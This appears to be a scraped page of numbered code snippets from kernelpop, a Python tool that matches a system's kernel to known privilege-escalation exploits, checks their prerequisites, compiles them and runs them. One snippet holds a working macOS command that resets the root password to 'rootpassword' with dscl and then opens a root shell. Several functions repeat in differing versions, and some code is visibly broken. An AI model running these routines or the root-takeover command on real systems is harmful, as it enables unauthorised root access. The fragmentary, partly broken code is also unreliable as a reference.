Beispiel #1
0
def kernelpop(mode="enumerate", uname=None):
	"""
	kernelpop()

	Runs the show
	:return:
	"""

	color_print(HEADER, color="blue", bold=True)
	if uname:
		kernel_v = get_kernel_version(uname=uname)
	else:
		kernel_v = get_kernel_version()
	identified_exploits = find_exploit_locally(kernel_v)
	display_ordered_exploits(identified_exploits["confirmed"],
		begin_message="[*] matched kernel to the following confirmed exploits",
		fail_message="[-] no confirmed exploits were discovered for this kernel")
	display_ordered_exploits(identified_exploits["potential"],
		begin_message="[*] matched kernel to the following potential exploits:",
		fail_message="[-] no potential exploits were discovered for this kernel", color="yellow")

	merged_exploits = {}
	for key_val in identified_exploits["confirmed"]:
		merged_exploits[key_val] = identified_exploits["confirmed"][key_val] + identified_exploits["potential"][key_val]

	if mode == "brute-enumerate":
		confirmed_vulnerable = brute_force_enumerate(merged_exploits)

		display_ordered_exploits(confirmed_vulnerable, begin_message="[+] confirmed exploits",
								 fail_message="[-] no exploits were confirmed for this kernel")
Beispiel #2
0
def brute_force_enumerate(identified_exploits):
    confirmed_vulnerable = {"high": [], "medium": [], "low": []}
    color_print(
        "[*] attempting brute force of all discovered exploits from most to least probable"
    )
    if len(identified_exploits[HIGH_RELIABILITY]) > 0:
        color_print("\t[[ high reliability ]]", color="green")
        for high_exploit in identified_exploits[HIGH_RELIABILITY]:
            if high_exploit.determine_vulnerability():
                confirmed_vulnerable["high"].append(high_exploit)
    if len(identified_exploits[MEDIUM_RELIABILITY]) > 0:
        color_print("\t[[ medium reliability ]]", color="yellow")
        for medium_exploit in identified_exploits[MEDIUM_RELIABILITY]:
            if medium_exploit.determine_vulnerability():
                confirmed_vulnerable["medium"].append(medium_exploit)
    if len(identified_exploits[LOW_RELIABILITY]) > 0:
        color_print("\t[[ low reliability ]]", color="red")
        for low_exploit in identified_exploits[LOW_RELIABILITY]:
            if low_exploit.determine_vulnerability():
                confirmed_vulnerable["low"].append(low_exploit)
    if len(identified_exploits[HIGH_RELIABILITY]) == 0 and \
        len(identified_exploits[MEDIUM_RELIABILITY]) == 0 and \
        len(identified_exploits[LOW_RELIABILITY]) == 0:
        color_print("[-] no exploits to verify for this kernel", color="red")

    return confirmed_vulnerable
Beispiel #3
0
	def exploit(self):
		# should stabilize exploit
		stabilization_command = "echo 0 > /proc/sys/vm/dirty_writeback_centisecs"
		color_print(("\t[*] stabilizing exploit:\n\t\t`{}`".format(stabilization_command)))
		self.shell_results(stabilization_command)
		# call super-class exploit
		super(CVE20165195_32_poke, self).exploit()
Beispiel #4
0
    def exploit(self):
        """
		We need to override base exploit because we're running a python script, not compiling C source
		"""
        perform_exploitation = str(
            input("Would you like to run exploit {} on this system? (y/n): ".
                  format(self.name)))
        if "y" in perform_exploitation.lower():
            color_print("\t[*] performing exploitation of {}".format(
                self.name))
            color_print("\t[*] {}".format(self.exploit_command))
            try:

                create_root = [
                    "/usr/bin/osascript", "-e",
                    'do shell script "dscl . -passwd /Users/root rootpassword" user name "root" password "" with administrator privileges'
                ]
                print("[*] creating root account")
                subprocess.call(create_root)
                print("[*] changing root account password to 'rootpassword'")
                subprocess.call(create_root)
                print(
                    "[*] getting a root shell for you (enter 'rootpassword' when prompted)"
                )
                subprocess.call("su")
            except Exception as e:
                self.exploit_failure("exploitation interrupted")
                self.exploit_failure(e)
        else:
            self.exploit_failure("canceled execution of exploit {}".format(
                self.name))
Beispiel #5
0
def main():
	if len(sys.argv) < 2:
		kernelpop()
	# brute force all discovered exploits
	elif sys.argv[1] == "-b":
		kernelpop(mode="brute-enumerate")
	elif sys.argv[1] == "-e" and len(sys.argv) > 2:
		kernelpop(mode="exploit", exploit=sys.argv[2])
	elif sys.argv[1] == "-r" and len(sys.argv) > 2:
		kernelpop(mode="brute-enumerate",report_file=sys.argv[2])
	elif sys.argv[1] == "-i":
		uname = input("Please enter uname: ")
		if "darwin" in str(uname).lower():
			color_print("[!] macs require additional input", color="yellow")
			osx_ver = input("[*] Please enter the OSX `ProductVersion`. It is found in 2nd line of output of `sw_vers` command: ")
			if len(str(osx_ver).split(".")) != 3:
				color_print("[-] OSX version input is not correct (Major.Minor.Release i.e 10.9.5)", color="red")
				exit(1)
			kernelpop(mode="input", uname=uname, osx_ver=osx_ver)
		else:
			kernelpop(mode="input", uname=uname)
	else:
		color_print("[!] please format your arguments properly", color="yellow")
		color_print(USAGE_STRING)
		color_print("[-] closing ...", color="red")
Beispiel #6
0
def brute_force_enumerate(identified_exploits):
    """
	change enumeration to only cover potentials and move them to confirmed if they come back confirmed, otherwise
	drop them

	:param identified_exploits:
	:return:
	"""
    # TODO: read function description
    confirmed_vulnerable = {"high": [], "medium": [], "low": []}
    color_print(
        "[*] attempting to confirm all discovered exploits from most to least probable"
    )
    if len(identified_exploits[HIGH_RELIABILITY]) > 0:
        color_print("\t[[ high reliability ]]", color="green")
        for high_exploit in identified_exploits[HIGH_RELIABILITY]:
            if high_exploit.determine_vulnerability():
                confirmed_vulnerable["high"].append(high_exploit)
    if len(identified_exploits[MEDIUM_RELIABILITY]) > 0:
        color_print("\t[[ medium reliability ]]", color="yellow")
        for medium_exploit in identified_exploits[MEDIUM_RELIABILITY]:
            if medium_exploit.determine_vulnerability():
                confirmed_vulnerable["medium"].append(medium_exploit)
    if len(identified_exploits[LOW_RELIABILITY]) > 0:
        color_print("\t[[ low reliability ]]", color="red")
        for low_exploit in identified_exploits[LOW_RELIABILITY]:
            if low_exploit.determine_vulnerability():
                confirmed_vulnerable["low"].append(low_exploit)
    if len(identified_exploits[HIGH_RELIABILITY]) == 0 and \
        len(identified_exploits[MEDIUM_RELIABILITY]) == 0 and \
        len(identified_exploits[LOW_RELIABILITY]) == 0:
        color_print("[-] no exploits to verify for this kernel", color="red")

    return confirmed_vulnerable
 def determine_vulnerability(self):
     color_print("\t[*] checking exploitation prerequisites for {}".format(
         self.name),
                 color="blue")
     # if kernel matches...it should be vulnerable
     color_print("\t[+] system appears to be vulnerable to {}".format(
         self.name),
                 color="green")
Beispiel #8
0
def exploit_individually(exploit_name):
	color_print("[*] attempting to perform exploitation with exploit {}".format(exploit_name))
	exploit_os = ["linux", "windows", "mac"]
	found_exploit = False
	for os_type in exploit_os:
		exploit_path_string = "exploits.{}.{}.{}".format(os_type, exploit_name, exploit_name)
		exploit_module = locate(exploit_path_string)
		if exploit_module:
			found_exploit = True
			exploit_module().exploit()
	if not found_exploit:
		color_print("[-] exploit {} was not found".format(exploit_name), color="red")
Beispiel #9
0
	def alert_kernel_discovery(self):
		if self.type == "linux":
			color_print("[+] kernel {} identified as:\n\ttype:\t\t\t{}\n\tdistro:\t\t\t{}\n\tversion:\t\t{}-{}" \
						"\n\tarchitecture:\t\t{}".format(
				self.uname, self.type, self.distro, ".".join([str(self.major_version), str(self.minor_version)]), self.release,
				self.architecture), bold=True)
		elif self.type == "mac":
			color_print("[+] kernel {} identified as:\n\ttype:\t\t\t{}\n\tversion:\t\t{}\n\tarchitecture:\t\t{}".format(
				self.uname, self.type, ".".join([str(self.major_version), str(self.minor_version), str(self.release)]),
				self.architecture), bold=True)
		elif self.type == "windows":
			pass
		else:
			exit(1)
Beispiel #10
0
 def exploit(self):
     perform_exploitation = str(
         input("Would you like to run exploit {} on this system? (y/n): ".
               format(self.name)))
     if "y" in perform_exploitation.lower():
         self.exploit_compile()
         if self.compilation_successful():
             color_print("\t[*] performing exploitation of {}".format(
                 self.name))
             try:
                 subprocess.call(self.exploit_command)
             except:
                 self.exploit_failure("exploitation interrupted")
     else:
         self.exploit_failure("canceled execution of exploit {}".format(
             self.name))
    def exploit(self):
        """
		We need to override base exploit because we're running a python script, not compiling C source
		"""
        perform_exploitation = str(
            input("Would you like to run exploit {} on this system? (y/n): ".
                  format(self.name)))
        if "y" in perform_exploitation.lower():
            color_print("\t[*] performing exploitation of {}".format(
                self.name))
            color_print("\t[*] {}".format(self.exploit_command))
            try:
                subprocess.call(self.exploit_command)
            except:
                self.exploit_failure("exploitation interrupted")
        else:
            self.exploit_failure("canceled execution of exploit {}".format(
                self.name))
Beispiel #12
0
def brute_force_exploit(confirmed_exploits):
    color_print("\t[*] attempting to exploit confirmed exploits", color="blue")
    if len(confirmed_exploits[HIGH_RELIABILITY]) > 0:
        color_print("\t[[ high reliability ]]", color="green")
        for high_exploit in confirmed_exploits[HIGH_RELIABILITY]:
            high_exploit.exploit()
    if len(confirmed_exploits[MEDIUM_RELIABILITY]) > 0:
        color_print("\t[[ medium reliability ]]", color="yellow")
        for medium_exploit in confirmed_exploits[MEDIUM_RELIABILITY]:
            medium_exploit.exploit()
    if len(confirmed_exploits[LOW_RELIABILITY]) > 0:
        color_print("\t[[ low reliability ]]", color="red")
        for low_exploit in confirmed_exploits[LOW_RELIABILITY]:
            low_exploit.exploit()
Beispiel #13
0
 def exploit_compile(self):
     color_print("\t[*] compiling exploit {} to {}".format(
         self.name, self.compilation_path),
                 color="blue")
     color_print("\t[*] {}".format(self.compilation_command), color="blue")
     compilation_results = self.shell_results(self.compilation_command)
     if self.compilation_successful():
         color_print("\t[+] compilation successful!", color="green")
     else:
         self.exploit_failure("failed to compile exploit {}".format(
             self.name))
Beispiel #14
0
def find_exploit_locally(kernel_version):
    """
	find_exploit_locally(Kernel kernel_version)

	Identifies potential exploits for the given kernel by dynamically loading exploit modules from the identified
	operating system's `exploit` dir and checking the kernel vs the list of vulnerable kernels in that exploit.

	:param kernel_version: Kernel() object containing kernel information
	:returns: array of arrays of exploit modules sorted in order of likelihood of success
		i.e. [ [high] [medium] [low] ]
	"""
    confirmed = {
        HIGH_RELIABILITY: [],
        MEDIUM_RELIABILITY: [],
        LOW_RELIABILITY: []
    }
    potential = {
        HIGH_RELIABILITY: [],
        MEDIUM_RELIABILITY: [],
        LOW_RELIABILITY: []
    }
    found_exploits = {"confirmed": confirmed, "potential": potential}

    color_print("[*] matching kernel to known exploits")
    if kernel_version.type == "linux":
        all_exploits = os.listdir(LINUX_EXPLOIT_PATH)
        for exploit_file in all_exploits:
            if exploit_file[-3:] == ".py" and "__init__" not in exploit_file:
                exploit_name = exploit_file.replace(".py", "")
                exploit_module = locate("exploits.linux.{}.{}".format(
                    exploit_name, exploit_name))
                exploit_instance = exploit_module()
                if potentially_vulnerable(
                        kernel_version,
                        exploit_instance) == CONFIRMED_VULNERABLE:
                    color_print(
                        "\t[+] found `confirmed` kernel exploit: {}".format(
                            exploit_instance.name),
                        color="green")
                    found_exploits["confirmed"][
                        exploit_instance.reliability].append(exploit_instance)
                elif potentially_vulnerable(
                        kernel_version,
                        exploit_instance) == POTENTIALLY_VULNERABLE:
                    color_print(
                        "\t[+] found `potential` kernel exploit: {}".format(
                            exploit_instance.name),
                        color="yellow")
                    found_exploits["potential"][
                        exploit_instance.reliability].append(exploit_instance)
                else:
                    del exploit_module

    return found_exploits
Beispiel #15
0
 def determine_vulnerability(self):
     color_print("\t[*] checking exploitation prerequisites for {}".format(
         self.name),
                 color="blue")
     # we need to check to see if there is anything at /proc/acpi/button/lid/LID/state
     lid_path = "/proc/acpi/button/lid/LID/state"
     color_print(
         "\t[*] checking to see if ACPI lid device is present on system")
     if os.path.isfile(lid_path):
         color_print("\t[+] system appears to be vulnerable to {}".format(
             self.name),
                     color="green")
         return True
     else:
         color_print(
             "\t[-] system appears not to be vulnerable to {}".format(
                 self.name),
             color="red")
         return False
Beispiel #16
0
	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# we need to check the glibc version < 2.23
		color_print("\t[*] checking glibc version is < 2.23")
		glibc_version_stdout = self.shell_results("ldd --version")[0].decode('utf-8')
		if len(glibc_version_stdout) == 0:
			self.exploit_failure("could not determine glibc version")
			return False
		glibc_version = glibc_version_stdout.split("\n").split(" ")[-1]
		v_major = int(glibc_version.split(".")[0])
		v_minor = int(glibc_version.split(".")[1])
		if v_major <= 2:
			if v_minor < 23:
				color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green")
				return True

		self.exploit_failure("glibc version {} not < 2.23".format(glibc_version))
		return False
Beispiel #17
0
	def determine_vulnerability(self):
		"""
		For this vulnerability the following prerequisites have to be satisfied:
			- udevd version must be < 1.4.1

		:return: True if vulnerable, False if not
		"""
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		command_result = self.shell_results(["udevd", "--version"])
		udev_v = command_result[1].decode('utf-8').replace("\n", "").replace("--version: ", "")

		if "not found" in udev_v:
			self.exploit_failure("not vulnerable: ({})".format(udev_v))
			return False
		elif int(udev_v) < 141:
			color_print("\t[*] udev version: {}".format(udev_v))
			color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green")
			return True
Beispiel #18
0
    def determine_vulnerability(self):
        """
		For this vulnerability the following prerequisites have to be satisfied:
			- sudo version < 1.8.21
			- system must be selinux-enabled
			- sudo needs to be build with selinux support (sudo -r)
			- user needs to have sudo permissions: e.g. 'toor ALL=(ALL)NOPASSWD: /usr/bin/sum

		:return: True if vulnerable, False if not
		"""
        color_print("\t[*] checking exploitation prerequisites for {}".format(
            self.name),
                    color="blue")
        sudo_version_command = "sudo -V"
        se_linux_enabled_command = "cat/etc/selinux/config"  # SELINUX=disabled not in output
        sudo_built_with_selinux_support_command = "sudo -r"  # if 'role' is in output, it's supported
        sudo_permissions_check_command = "sudo -l"  # if not 'may not run' in output
        sv_output = self.shell_results(sudo_version_command)
        sle_output = self.shell_results(se_linux_enabled_command)
        sbwssc_output = self.shell_results(
            sudo_built_with_selinux_support_command)
        spc_output = self.shell_results(sudo_permissions_check_command)

        sv_std_out = sv_output[0].decode('utf-8')
        major_v = int(sv_std_out.split(" ")[2].split(".")[0])
        minor_v = int(sv_std_out.split(" ")[2].split(".")[1])
        release_v = int(
            sv_std_out.split("\n")[0].split(" ")[2].split(".")[2].split("p")
            [0])
        if not major_v <= 1 and minor_v <= 8 and release_v <= 20:
            self.exploit_failure("sudo version {} is not less than 1.8.21")
            return False
        color_print(
            "\t[+] sudo version {} is vulnerable (less than 1.8.21)".format(
                "{}.{}.{}".format(major_v, minor_v, release_v)))

        sle_std_out = sle_output[0].decode('utf-8')
        sle_std_err = sle_output[1].decode('utf-8')
        if "No such file" in sle_std_err or not \
         "SELINUX=disabled" in sle_std_out:
            self.exploit_failure(
                "system does not appear to be selinux-enabled")
            return False
        color_print("\t[+] system appears to be selinux-enabled")

        sbwssc_std_out = sbwssc_output[0].decode('utf-8')
        if not "role" in sbwssc_std_out:
            self.exploit_failure(
                "sudo does not appear to be built with selinux support")
            return False
        color_print("\t[+] sudo appears to be built with selinux support")

        spc_std_out = spc_output[0].decode('utf-8')
        spc_std_err = spc_output[1].decode('utf-8')
        if "may not run" in spc_std_err:
            self.exploit_failure("user is not a sudoer")
            return False
        color_print("\t[+] user appears to be a sudoer")

        color_print("\t[+] system appears to be vulnerable to {}".format(
            self.name),
                    color="green")
        return True
Beispiel #19
0
def kernelpop(mode="enumerate",
              uname=None,
              exploit=None,
              osx_ver=None,
              report_file=None):
    """
    kernelpop()

    Runs the show
    :return:
    """

    color_print(HEADER, color="blue", bold=True)
    if exploit:
        exploit_individually(str(exploit))
    else:
        if uname:
            if osx_ver:
                kernel_v = get_kernel_version(uname=uname, osx_ver=osx_ver)
            else:
                kernel_v = get_kernel_version(uname=uname)
        else:
            kernel_v = get_kernel_version()

        identified_exploits = find_exploit_locally(kernel_v)
        if report_file:
            write_report_ordered_exploits(identified_exploits["confirmed"],
                                          report_file, "Confirmed exploits",
                                          "no confirmed exploits found")
            write_report_ordered_exploits(identified_exploits["potential"],
                                          report_file, "Potential exploits",
                                          "no potential exploits found")

        display_ordered_exploits(
            identified_exploits["confirmed"],
            begin_message=
            "[*] matched kernel to the following confirmed exploits",
            fail_message=
            "[-] no confirmed exploits were discovered for this kernel")
        display_ordered_exploits(
            identified_exploits["potential"],
            begin_message=
            "[*] matched kernel to the following potential exploits:",
            fail_message=
            "[-] no potential exploits were discovered for this kernel",
            color="yellow")

        merged_exploits = {}
        for key_val in identified_exploits["confirmed"]:
            merged_exploits[key_val] = identified_exploits["confirmed"][
                key_val] + identified_exploits["potential"][key_val]

        if total_exploits(merged_exploits) > 0:
            if "brute" in mode:
                confirmed_vulnerable = brute_force_enumerate(merged_exploits)
                display_ordered_exploits(
                    confirmed_vulnerable,
                    begin_message="[+] confirmed exploits",
                    fail_message=
                    "[-] no exploits were confirmed for this kernel")
                if "exploit" in mode:
                    brute_force_exploit(confirmed_vulnerable)
Beispiel #20
0
def display_ordered_exploits(ordered_exploits,
                             begin_message=None,
                             fail_message=None,
                             color=None):
    """

	:param ordered_exploits:
	:param begin_message:
	:param fail_message:
	:param color:
	:return:
	"""
    if color:
        color_print(begin_message, color=color)

        # for confirmed vulnerabilities
        if len(ordered_exploits[HIGH_RELIABILITY]) > 0:
            color_print("\t[[ high reliability ]]", color=color)
            for high_exploit in ordered_exploits[HIGH_RELIABILITY]:
                color_print("\t\t{}\t{}".format(high_exploit.name,
                                                high_exploit.brief_desc),
                            color=color)
        if len(ordered_exploits[MEDIUM_RELIABILITY]) > 0:
            color_print("\t[[ medium reliability ]]", color=color)
            for medium_exploit in ordered_exploits[MEDIUM_RELIABILITY]:
                color_print("\t\t{}\t{}".format(medium_exploit.name,
                                                medium_exploit.brief_desc),
                            color=color)
        if len(ordered_exploits[LOW_RELIABILITY]) > 0:
            color_print("\t[[ low reliability ]]", color=color)
            for low_exploit in ordered_exploits[LOW_RELIABILITY]:
                color_print("\t\t{}\t{}".format(low_exploit.name,
                                                low_exploit.brief_desc),
                            color=color)
        if len(ordered_exploits[HIGH_RELIABILITY]) == 0 and \
            len(ordered_exploits[MEDIUM_RELIABILITY]) == 0 and \
            len(ordered_exploits[LOW_RELIABILITY]) == 0:
            if fail_message:
                color_print(fail_message, color=color)
    else:
        color_print(begin_message)

        # for confirmed vulnerabilities
        if len(ordered_exploits[HIGH_RELIABILITY]) > 0:
            color_print("\t[[ high reliability ]]", color="green")
            for high_exploit in ordered_exploits[HIGH_RELIABILITY]:
                color_print("\t\t{}\t{}".format(high_exploit.name,
                                                high_exploit.brief_desc))
        if len(ordered_exploits[MEDIUM_RELIABILITY]) > 0:
            color_print("\t[[ medium reliability ]]", color="yellow")
            for medium_exploit in ordered_exploits[MEDIUM_RELIABILITY]:
                color_print("\t\t{}\t{}".format(medium_exploit.name,
                                                medium_exploit.brief_desc))
        if len(ordered_exploits[LOW_RELIABILITY]) > 0:
            color_print("\t[[ low reliability ]]", color="red")
            for low_exploit in ordered_exploits[LOW_RELIABILITY]:
                color_print("\t\t{}\t{}".format(low_exploit.name,
                                                low_exploit.brief_desc))
        if len(ordered_exploits[HIGH_RELIABILITY]) == 0 and \
            len(ordered_exploits[MEDIUM_RELIABILITY]) == 0 and \
            len(ordered_exploits[LOW_RELIABILITY]) == 0:
            if fail_message:
                color_print(fail_message, color="red")
Beispiel #21
0
    def process_kernel_version(self, kernel_version, uname=False):
        # running on mac
        # Darwin-16.7.0-x86_64-i686-64bit
        if "Darwin" in kernel_version:

            if uname:
                color_print("[+] `uname -a` os identified as a mac variant")
                k_type = "mac"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split(" ")[0]
                k_major = int(kernel_version.split(" ")[2].split(".")[0])
                k_minor = int(kernel_version.split(" ")[2].split(".")[1])
                k_release = int(kernel_version.split(" ")[2].split(".")[2])
                k_architecture = kernel_version.split(" ")[-1]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture
                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version
            else:
                color_print("[+] underlying os identified as a mac variant")
                k_type = "mac"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split("-")[0]
                k_major = int(kernel_version.split("-")[1].split(".")[0])
                k_minor = int(kernel_version.split("-")[1].split(".")[1])
                k_release = int(kernel_version.split("-")[1].split(".")[2])
                k_architecture = kernel_version.split("-")[2]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture
                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

        # running on linux
        # Linux-4.10.0-37-generic-x86_64-with-Ubuntu-16.04-xenial
        elif "Linux" in kernel_version:
            if uname:
                color_print("[+] `uname -a` os identified as a linux variant")
                k_type = "linux"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split(" ")[0]
                k_major = int(kernel_version.split(" ")[2].split(".")[0])
                k_minor = int(kernel_version.split(" ")[2].split(".")[1])
                k_architecture = kernel_version.split(" ")[-2]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture
                # kali kernel parsing is a little different to get accurate release # on kernel
                # Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.4-2kali1 (2017-10-16) x86_64 GNU/Linux
                if "kali" in kernel_version.lower():
                    k_release = int(
                        kernel_version.split(" ")[-4].split("-")[0].split(".")
                        [2])
                else:
                    k_release = int(
                        kernel_version.split(" ")[2].split(".")[2].split("-")
                        [0])

                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

            else:
                color_print("[+] underlying os identified as a linux variant")
                k_type = "linux"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split("-")[-1]
                k_major = int(kernel_version.split("-")[1].split(".")[0])
                k_minor = int(kernel_version.split("-")[1].split(".")[1])
                k_release = int(kernel_version.split("-")[1].split(".")[2])
                k_architecture = kernel_version.split("-")[4]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture
                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

        # running on windows
        elif "win" in kernel_version:
            color_print("[+] underlying os identified as a windows variant")
            if uname:
                color_print("[-] no uname support yet", color="red")
                exit(0)
            else:
                pass
        # don't know what we're on
        else:
            color_print("[-] could not identify underlying os", color="red")
            exit(1)
Beispiel #22
0
 def exploit_failure(self, failure_reason):
     color_print("\t[-] exploitation failed: {}".format(failure_reason),
                 color="red")
Beispiel #23
0
def main():

    # parse out whether we want a digestible output (json, xml)
    digest_type = None
    if "--digest" in sys.argv:
        if "json" in sys.argv:
            print("[*] outputting results in json digestible format")
            digest_type = "json"
        elif "xml" in sys.argv:
            print(
                "[*] sorry, only json digestible output is supported at the moment (--digest json)"
            )
            exit(0)

    if len(sys.argv) < 2:
        kernelpop()
    elif "-e" in sys.argv[1:3] and len(sys.argv) > 2:
        kernelpop(mode="exploit", exploit=sys.argv[2], digest=digest_type)
    elif "-i" in sys.argv[1:3]:
        color_print(
            "[*] please note, vulnerability detection is not as accurate by uname alone",
            color="yellow")
        color_print(
            "\tconsider running locally on the machine to be tested to get a more accurate reading",
            color="yellow")
        uname = input("Please enter uname: ")
        if "darwin" in str(uname).lower():
            color_print("[!] macs require additional input", color="yellow")
            osx_ver = input(
                "[*] Please enter the OSX `ProductVersion`. It is found in 2nd line of output of `sw_vers` command: "
            )
            if len(str(osx_ver).split(".")) != 3:
                color_print(
                    "[-] OSX version input is not correct (Major.Minor.Release i.e 10.9.5)",
                    color="red")
                exit(1)
            kernelpop(mode="input",
                      uname=uname,
                      osx_ver=osx_ver,
                      digest=digest_type)
        else:
            kernelpop(mode="input", uname=uname, digest=digest_type)
    # if only --digest <option> is passed
    elif "--digest" in sys.argv[1:3]:
        kernelpop(digest=digest_type)
    else:
        color_print("[!] please format your arguments properly",
                    color="yellow")
        color_print(USAGE_STRING)
        color_print("[-] closing ...", color="red")
Beispiel #24
0
	def process_kernel_version(self, kernel_version, uname=False):
		# running on mac
		# Darwin-16.7.0-x86_64-i386-64bit
		if "Darwin" in kernel_version:

			if uname:
				color_print("[+] `uname -a` os identified as a mac variant")
				k_type = "mac"
				k_distro = self.parse_distro(kernel_version)
				k_name = kernel_version.split(" ")[0]
				k_major = int(kernel_version.split(" ")[2].split(".")[0])
				k_minor = int(kernel_version.split(" ")[2].split(".")[1])
				k_release = int(kernel_version.split(" ")[2].split(".")[2])
				k_architecture = kernel_version.split(" ")[-1]
				return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version
			else:
				color_print("[+] underlying os identified as a mac variant")
				k_type = "mac"
				k_distro = self.parse_distro(kernel_version)
				k_name = kernel_version.split("-")[0]
				k_major = int(kernel_version.split("-")[1].split(".")[0])
				k_minor = int(kernel_version.split("-")[1].split(".")[1])
				k_release = int(kernel_version.split("-")[1].split(".")[2])
				k_architecture = kernel_version.split("-")[2]

				return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

		# running on linux
		# Linux-4.10.0-37-generic-x86_64-with-Ubuntu-16.04-xenial
		elif "Linux" in kernel_version:
			if uname:
				color_print("[+] `uname -a` os identified as a linux variant")
				k_type = "linux"
				k_distro = self.parse_distro(kernel_version)
				k_name = kernel_version.split(" ")[0]
				k_major = int(kernel_version.split(" ")[2].split(".")[0])
				k_minor = int(kernel_version.split(" ")[2].split(".")[1])
				k_release = int(kernel_version.split(" ")[2].split("-")[1])
				k_architecture = kernel_version.split(" ")[-2]
				return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version
			else:
				color_print("[+] underlying os identified as a linux variant")
				k_type = "linux"
				k_distro = self.parse_distro(kernel_version)
				k_name = kernel_version.split("-")[-1]
				k_major = int(kernel_version.split("-")[1].split(".")[0])
				k_minor = int(kernel_version.split("-")[1].split(".")[1])
				k_release = int(kernel_version.split("-")[2])
				k_architecture = kernel_version.split("-")[4]
				return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

		# running on windows
		elif "win" in kernel_version:
			color_print("[+] underlying os identified as a windows variant")
		# don't know what we're on
		else:
			color_print("[-] could not identify underlying os", color="red")
			exit(1)
Beispiel #25
0
    def process_kernel_version(self, kernel_version, uname=False):
        # running on mac
        # Darwin-16.7.0-x86_64-i686-64bit
        if "Darwin" in kernel_version:

            if uname:
                color_print("[+] `uname -a` os identified as a mac variant")
                k_type = "mac"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split(" ")[0]
                k_major = int(kernel_version.split(" ")[2].split(".")[0])
                k_minor = int(kernel_version.split(" ")[2].split(".")[1])
                k_release = int(kernel_version.split(" ")[2].split(".")[2])
                k_architecture = kernel_version.split(" ")[-1]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture
                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version
            else:
                color_print("[+] underlying os identified as a mac variant")
                k_type = "mac"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split("-")[0]
                k_major = int(kernel_version.split("-")[1].split(".")[0])
                k_minor = int(kernel_version.split("-")[1].split(".")[1])
                k_release = int(kernel_version.split("-")[1].split(".")[2])
                k_architecture = kernel_version.split("-")[2]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture
                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

        # running on linux
        # Linux-4.10.0-37-generic-x86_64-with-Ubuntu-16.04-xenial
        elif "Linux" in kernel_version:
            if uname:
                color_print("[+] `uname -a` os identified as a linux variant")
                k_type = "linux"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split(" ")[0]

                k_full_version = kernel_version.split(" ")[2].split(".")
                # the uname's first version string is in the format Major.Minor-distro-architecture instead of
                #       the expected Major.Minor.Release-distro-architecture...try to parse from the end
                #
                if len(k_full_version) < 3:
                    k_full_version = kernel_version.split(" ")[-4].split(".")
                # if we couldn't parse out 3 again..
                if len(k_full_version) < 3:
                    k_full_version = kernel_version.split(" ")[-4].split(".")
                    # minor will have garbage after a '-'
                    k_full_version[1] = k_full_version[1].split("-")[0]
                    k_full_version.append("0")
                k_full_version = clean_parsed_version(k_full_version)

                k_major = int(k_full_version[0])
                k_minor = int(k_full_version[1])
                k_release = int(k_full_version[2])
                k_architecture = kernel_version.split(" ")[-2]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture

                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

            else:
                color_print("[+] underlying os identified as a linux variant")
                k_type = "linux"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split("-")[-1]
                k_full_version = kernel_version.split("-")[1].split(".")
                if len(k_full_version) < 3:
                    k_full_version.append("0")  # we just assume base kernel
                k_full_version = clean_parsed_version(k_full_version)

                k_major = int(k_full_version[0])
                k_minor = int(k_full_version[1])
                k_release = int(k_full_version[2])
                k_architecture = kernel_version.split("-")[4]
                # replace any bad architecture parses
                for architecture in ["x86", "i686", "amd64", "x86_64"]:
                    if architecture in kernel_version:
                        k_architecture = architecture

                return k_type, k_distro, k_name, k_major, k_minor, k_release, k_architecture, kernel_version

        # running on windows
        elif "win" in kernel_version:
            color_print("[+] underlying os identified as a windows variant")
            if uname:
                color_print("[-] no uname support yet", color="red")
                exit(0)
            else:
                pass
        elif "BSD" in kernel_version:
            if uname:
                color_print("[+] `uname -a` os identified as a BSD variant")
                k_type = "linux"
                k_distro = self.parse_distro(kernel_version)
                k_name = kernel_version.split(" ")[0]

                k_full_version = kernel_version.split(" ")[2].split(".")
                # BSD versions only have major.minor format. Feed empty value for release
                while len(k_full_version) < 3:
                    k_full_version.append("0")
                k_full_version = clean_parsed_version(k_full_version)

                k_major = int(k_full_version[0])
                k_minor = int(k_full_version[1])
